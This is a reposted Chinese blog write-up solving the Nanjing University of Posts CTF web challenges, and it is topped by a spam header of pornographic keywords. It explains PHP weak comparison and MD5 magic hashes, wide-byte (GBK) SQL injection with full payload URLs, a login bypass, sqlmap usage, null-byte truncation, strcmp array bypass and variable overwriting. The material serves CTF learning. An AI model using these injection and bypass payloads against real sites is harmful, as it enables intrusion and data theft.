日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql 南邮ctf_南邮ctf之web之wp

發布時間:2024/3/24 数据库 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql 南邮ctf_南邮ctf之web之wp 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

下面是所有現在可以做的web題的wp!

建議使用CTRL+F查找所需題目,我都有標注!這樣方便!

1、簽到題

直接查看源碼即可

2、md5 collision

解讀代碼:

$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) {echo "nctf{*****************}";

}else{echo "false!!!";

}}else{echo "please input a";}

經典的md5加密題:個人感覺這題考的就是兩個等于號,雙等于號漏洞,也就是可以通過0e,科學計數法繞過的!所以只要前面是0e開頭的md5加密的也就基本可以了,也不需要找,這個百度一大堆的!

md5('s878926199a')=0e545993274517709034328855841020

md5('s155964671a')=0e342768416822451524974117254469

找了兩個,隨意選一個就行了!還有很多可以自己收藏!

3、簽到題2

打開題目地址是這樣的!

像這種類型的一般就是輸入框長度被限制了,所以直接右鍵點擊檢查,改一下就行了!

其實11也就行了,這樣的題就這樣的套路,比較簡單!再遇到一些做sql注入啥的被限制了長度都可以這樣改!

4、這題不是WEB

點開題目地址發現是一張圖片!

這樣的題,首先先看一下源碼,或者檢查一下F12看里面是否存在,若不存在那應該再圖里面了!下載圖片,拉進HEXEdit里面查看,再最后發現flag!是個圖片隱寫了!

5、層層遞進

點開題目地址是這樣的!

還是直接點擊查看源碼,和右擊檢查,都是老套路,也就不多說了!

再檢查源碼的時候發現:一個SO.html點擊去查看~!~

然后發現有個404.html!

再點擊去看:

點擊檢查:發現flag

6、AAencode

很不幸,這個不能做了,原來還可以,應該是幫aaencode.txt文件給刪除了吧,就說說這樣的解碼吧,這個解碼也就是一些符號組成的,一般只要放在控制臺里面就可以了!

如果不行再找一下解碼的平臺啥的!

7、單身二十年

有點意思,看看題目:

看題么應該是個閃圖啥的!或者快速跳轉啥的,這種的用burp就比較簡單了!進題目地址看看!

是個跳轉頁面,不要怕我們有神器==burp==

直接出來,burp不會的那自己去百度一下吧!各種騷姿勢!

8、php decode

看代碼吧:

}return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==")); //eval可以解析php代碼,所以此題只需要幫eval改為輸出就行了,echo、print,這樣

$ZzvSWE也就被賦值了所echo的值!

?>

一看代碼,發現這是個加解密的題目呀!

代碼解析在上面,這個開啟我的study,代碼運行起來才能發現問題!

9、文件包含

文件包含,那就涉及到了偽協議,所以還是先做題!

這里使用一個php://filter/read/convert.base64-encode/resource=xxx.php,轉為base64這樣就能得到源碼了!

再解碼也就得到了源碼:https://base64.supfree.net/?解碼地址、也可以自己用base64-decode(.......)來解碼!

解碼發現flag!

既然可以偽協議我再看看能否用一句話連接接!

發現想多了,哈哈哈!

做題要聯想,這樣才能加強自己的實力,雖然我還是個小白,小菜雞,我會努力的,加油!

10、單身一百年也沒用(這題目有點狠,單身一百年,一輩子光棍唄,哈哈哈)

題目地址點開發現還是跳轉,不多說,上神器burp!

11、Download~!

這題不能做唉!

12、COOKIE(題目提示COOKIE就是甜餅的意思~TIP: 0==not)

這種有COOKIE的還是直接抓包看比較舒服!上burp!

發現有個Login=0,根據題目意思,0一般是假或者空,改為1,試試!

13、MYSQL

robots.txt?這個文件一般只要是個網站都會有的,相當于加載一些網站的一些xxx.php等文件名啥的!

代碼吧:

一般sql注入我都直接sqlmap跑了,這個手注一波吧,講解原理!

1、主要看一個函數intval()?函數用于獲取變量的整數值。(這題的關鍵點)

2、再看if語句,這個需要id=1024就輸出 no!try again,否則輸出查詢語句,應該是出flag的!

echo intval(4.2); //4

echo intval('42'); //42

echo intval('+42'); //42

echo intval('-42'); //-42

echo intval(042); //34

echo intval('042'); //42

echo intval(1e10); //1410065408

echo intval('1e10'); //1

echo intval(0x1A); //26

echo intval(42000000); //42000000

echo intval(420000000000000000000); //0

echo intval('420000000000000000000'); //2147483647

echo intval(42, 8); //42

echo intval('42', 8); //34

echo intval(array()); //0

echo intval(array('foo', 'bar')); //1

?>

所以直接構造payload,利用小數繞過if!

14、GBK Injection

寬字節注入發生的位置就是PHP發送請求到MYSQL時字符集使用character_set_client設置值進行了一次編碼。在使用PHP連接MySQL的時候,當設置“character_set_client = gbk”時會導致一個編碼轉換的問題,也就是我們熟悉的寬字節注入

寬字節注入原理即是利用編碼轉換,將服務器端強制添加的本來用于轉義的\符號吃掉,從而能使攻擊者輸入的引號起到閉合作用,以至于可以進行SQL注入。

這里的寬字節注入是利用mysql的一個特性,mysql在使用GBK編碼(GBK就是常說的寬字節之一,實際上只有兩字節)的時候,會認為兩個字符是一個漢字(前一個ascii碼要大于128,才到漢字的范圍),而當我們輸入有單引號時會自動加入\進行轉義而變為\’(在PHP配置文件中magic_quotes_gpc=On的情況下或者使用addslashes函數,icov函數,mysql_real_escape_string函數、mysql_escape_string函數等,提交的參數中如果帶有單引號’,就會被自動轉義\’,使得多數注入攻擊無效),由于寬字節帶來的安全問題主要是吃ASCII字符(一字節)的現象,將后面的一個字節與前一個大于128的ascii碼進行組合成為一個完整的字符(mysql判斷一個字符是不是漢字,首先兩個字符時一個漢字,另外根據gbk編碼,第一個字節ascii碼大于128,基本上就可以了),此時’前的\就被吃了,我們就可以使用’了,利用這個特性從而可實施SQL注入的利用。

最常使用的寬字節注入是利用%df,其實我們只要第一個ascii碼大于128就可以了,比如ascii碼為129的就可以,但是我們怎么將他轉換為URL編碼呢,其實很簡單,我們先將129(十進制)轉換為十六進制,為0x81,如圖1所示,然后在十六進制前面加%即可,即為%81,任意進制在線轉換網站請點擊此處!另外可以直接記住GBK首字節對應0×81-0xFE,尾字節對應0×40-0xFE(除0×7F),則尾字節會被吃點,如轉義符號\對應的編碼0×5C!另外簡單提一下,GB2312是被GBK兼容的,它的高位范圍是0xA1-0xF7,低位范圍是0xA1-0xFE(0x5C不在該范圍內),因此不能使用編碼吃掉%5c。

原文鏈接:https://blog.csdn.net/william_munch/article/details/100037244

這位博主說的原理挺好的,所以我就轉載使用一下了!

所以再寫數據庫時還是最好使用utf-8比較安全的!

使用%df和'就會轉義為?運 這樣就繞過一些安全函數了!下面是payload,所以我也不再截圖了!

payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+

回顯:sae-chinalover

payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

回顯:ctf,ctf2,ctf3,ctf4,gbksqli,news

應該是這個gbksqli這個表!!!

payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x67626B73716C69--+

回顯:flag

payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,flag from gbksqli--+

回顯:nctf{gbk_3sqli}

這里的#過濾了所以使用的是--+

15、/x00

看代碼吧:

view-source:

if (isset ($_GET['nctf'])) {if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) //ereg()函數用指定的模式搜索一個字符串中指定的字符串,如果匹配成功返回true,否則,則返回false。搜索字母的字符是大小寫敏感的。echo '必須輸入數字才行';else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) //strpos() 函數查找字符串在另一字符串中第一次出現的位置。strpos() 函數對大小寫敏感。

die('Flag: '.$flag);else

echo '騷年,繼續努力吧啊~';

}

解析代碼:

1、判斷是否傳入nctf

2、利用ereg函數繞過正則 (ereg函數一個漏洞,類似于0x00截斷,都是因為這些函數遇到ASCII碼為0的字符時,會自動默認到了結尾而停止)

3、繞過strpos函數

所以第一種方法出來了!

可以使用%00截斷的這種

#需要改為%23,url編碼問題,不改出不來!

第二種,因為ereg函數對數組只返回null!所以第二種也就出來了!

因為又做了強制判斷 === 所以也就是false了

strpos函數也不解析數組,所以也返還null

16、bypass again

看源碼:

if (isset($_GET['a']) and isset($_GET['b'])) {if ($_GET['a'] != $_GET['b'])if (md5($_GET['a']) == md5($_GET['b'])) //主要還是這個雙等于漏洞die('Flag: '.$flag);else

print 'Wrong.';

}

這題思路點:

1、需要輸入a和b

2、a和b不能相等

3、md5值又需要相等,才輸出flag!

這題解題點,是這個雙等于,都知道雙等于可以利用科學計數法繞過,就是0e開頭的!所以只要找兩個0e開頭的md5值就行了,上面有題就是的,就不多說了!

md5('s878926199a')=0e545993274517709034328855841020

md5('s155964671a')=0e342768416822451524974117254469

直接截圖吧:

17、變量覆蓋

參看所給源碼:

考點:

1、extract函數

2、讓$pass?==?$thepassword_123,這就利用到上面的函數extract()

讓$pass、$thepassword_123賦值相同值就行了

如下:

18、PHP是世界上最好的語言

做不了!

19、偽裝者

由題所知:需要修改本地也就是127.0.0.1,打開burp吧!

要么是X-Forwarded-For代理服務,或者是client-ip真實ip地址!

20、header

這個也做不了!

21、上傳繞過

文件上傳,還是用burp抓包、改包、發送!

選擇比較小點的圖片,最好不要超過1M的越小越好!最好是png的,文件內容不容易損壞!

上傳發現需要后綴為php的,所以考慮用%00截斷試試!

%00截斷是文件后綴名就一個%00字節,可以截斷某些函數對文件名的判斷,在許多語言函數中,處理字符串的函數中0x00被認為是終止符,相當于sql注入中的#!

上傳函數處理1.php%00.jpg時,后綴名是合法的jpg、png、gif格式,可以上傳,在保存文件時,遇到%00字符,后面的jpg就不要了,文件后綴最終保存的后綴名為1.php

發現回顯支持gif、png、jpeg!所以嘗試用目錄截斷!

發現還是不行,應該是截斷出現問題了,在去修改一下hex里面的,

文件上傳建議去做? upload-labs? 百度上都有

22、SQL注入1

點擊source查看源碼!

<?phpif ($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$user = trim($_POST[user]); //trim() 函數移除字符串兩側的空白字符或其他預定義字符!就是去空格!$pass = md5(trim($_POST[pass])); //被md5加密,所有這個只能在用戶做手腳了!$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //后面的pw用%23給注釋,主要構造前面的!echo ''.$sql;$query = mysql_fetch_array(mysql_query($sql));if($query[user]=="admin") { //只有user等于admin才給flag!echo "

Logged in! flag:********************

";

}if($query[user] != "admin") {echo("

You are not admin!

");

}

}echo $query[user];?>

Source

$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";

首先我們先看這個,看如何繞過,可以自己弄個記事本什么的自己來嘗試一下,最好是在命令行中,在mysql中!

$sql="select user from ctf where (user='admin' or 1=1)%23 (后面的都不要了,被注釋了)') and (pw='".$pass."')";

看這樣就簡單的閉合了,所有不要拿到題目就直接上手,先看sql語句,再看過濾機制,代碼審計就這樣的,看懂代碼才是最重要的!直接去看一下行不行!

下面再嘗試一下sqlmap跑一下!(使用kali中自帶的,本機的卸載了)

因為是post傳參,所有用burp抓包一下!

保存為1.txt,再用SQLmap跑!

payload:sqlmap -r 1.txt --dbs

payload:sqlmap -r 1.txt --tables -D sae-chinalover

下面的我也就不跑了,這里面有個是gbksqli的還有的是其他的!自己可以嘗試玩玩!

這個是這一題的!

23、pass check

參看所給源碼:

$pass=@$_POST['pass']; //post傳參$pass1=***********;//被隱藏起來的密碼

if(isset($pass)) //判斷是否有pass參數傳入

{if(@!strcmp($pass,$pass1)){ //比較兩個字符串,也就是讓post傳進去的參數和pass1進行比較,要讓這個成立也就輸出flag了!echo "flag:nctf{*}";

}else{echo "the pass is wrong!";

}

}else{echo "please input pass!";

}?>

strcmp() 函數比較兩個字符串。

注釋:strcmp() 函數是二進制安全的,且對大小寫敏感。

如果?str1?(第一個字符串)小于?str2(第二個字符串)?返回 < 0; 如果?str1?大于?str2?返回 > 0;如果兩者相等,返回 0。

沒思路,去找了strcmp漏洞!終于發現,這個函數,如果傳入數組,那他會返回0,

要求傳入字符串。如果傳入非字符串呢?

結果函數報錯!但是函數返回“0”? 。?雖然報錯了但函數的判斷卻是“相等”

如何傳入非字符串?答案是傳入數組

將變量的結尾加上“[ ]”? 將其構造為數組。

嘗試一下:成功!

又學習了!又找到一些圖,看這些圖我基本沒懂,應該我是菜雞吧!

如果哪位大佬刷到了,可以方便給我留個思路唄,感謝!

24、起個名字真難

參看所給源碼:

{$one = ord('1');$nine = ord('9');for ($i = 0; $i < strlen($number); $i++) //循環傳入的number

{$digit = ord($number{$i}); //進行循環過后的值if ( ($digit >= $one) && ($digit <= $nine) ) //如果 $digit>1或者小于9就false!

{return false;

}

}return $number == '54975581388';

}$flag='*******';if(noother_says_correct($_GET['key'])) //必須輸入key=54975581388就輸出flag!

echo $flag;else echo 'access denied';?>

要點就是要key=54975581388,輸出flag!又被過濾數字,所有這個點我只有用16進制來進行繞過!

提交:(需要加0xccccccccc)因為是16進制!

25、密碼重置

點進去發現用戶名怎么都改不了的!

所以點擊右鍵,點擊檢查:

根據題目改為admin

點擊重置:flag出來

26、php 反序列化(暫時無法做)

參看所給源碼:

}if (isset($_GET['pass'])) {$pass = $_GET['pass'];if(get_magic_quotes_gpc()){$pass=stripslashes($pass);

}$o = unserialize($pass);if ($o) {$o->secret = "*";if ($o->secret === $o->enter)echo "Congratulation! Here is my secret: ".$o->secret;else

echo "Oh no... You can't fool me";

}else echo "are you trolling?";?>

進行序列話:(解釋我都寫再里面了,注釋方就是)

進行驗證,看看序列話出來的值

最后驗證:

知識點:

主要說的是面向對象,涉及到了魔法函數__construct(),和為變量$this,面向對象我博客首頁有點知識點,可以自己看一下,不好的地方請指出,感謝!

27、SQL注入2

<?phpif ($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$user = $_POST[user]; //post傳參$pass = md5($_POST[pass]); //md5加密$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); //sql語句! 存儲結果集if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { //strcasecm比較兩個字符串(不區分大小寫):echo "

Logged in! Key: ntcf{**************}

";

}else{echo("

Log in failure!

");

}

}?>

Source

如果變量存在,并且,$pass與$query[pw]相等(不區分大小寫)

$query[pw]) && (!strcasecmp($pass, $query[pw])

這個成立才輸出flag。

這個主要是傳進去的user用戶里面的密碼pass和md5加密的pass比較,所有需要繞過這個md5加密。

先看sql語句:

("select pw from ctf where user='$user'")

直接構造一下payload吧,利用union select聯合查詢:

pass=1對應的是md5(1)!只要md5()里面的數和pass所等于的對上就可以了

28、綜合題2

29、密碼重置2

看題目提示:

根據第一點找到管理員郵箱!

根據第二點vim的備份文件,先了解vim的備份文件!

看一些博客寫的感覺太麻煩了,直白的理解就是再編輯vim文件時,或生成一個.xxx.swp的文件。

vim中的swp即swap文件,在編輯文件時產生,它是隱藏文件,如果原文件名是submit,則它的臨時文件

就是.submit.swp!

所以這里的臨時文件應該時..submit.php.swp

看截圖中所框的,需要$token字段等于10,并且都為0!

所以這題出來了,結合上面的管理員郵箱地址!

30、file_get_contents

查看源碼,因為一進去發現是空白頁面,不是404,說明應該還是有東西的!

看到這個file_get_contents()函數,這個是post傳參的,一般會結合偽協議一起使用,例如:file_get_contents("php://input")截取post傳進來的參數值!

所以這一題應該就是利用偽協議中的php://input了!

出來了!

31、變量覆蓋

還是代碼審計題:

主要說的是兩個$$符號,因為$$key= $value,當$value = name時, (就是給get傳入參數)$$key = name 即$name =??meizijiu233!

所以就出來了!

變量覆蓋,我們遇到兩個了,一個是extract()函數,一個是現在這個雙$$符號,還有兩個分別為parse_str()函數、import_request_variables()函數,感興趣可以自己去找找度娘!

結束!下面三題不能做了!所以CG-ctf之web結束,下期做攻防世界里面的!南郵這個算是入門,題目是前面難后面慢慢加大難度,

攻防世界過段時間繼續更新!

總結

以上是生活随笔為你收集整理的mysql 南邮ctf_南邮ctf之web之wp的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。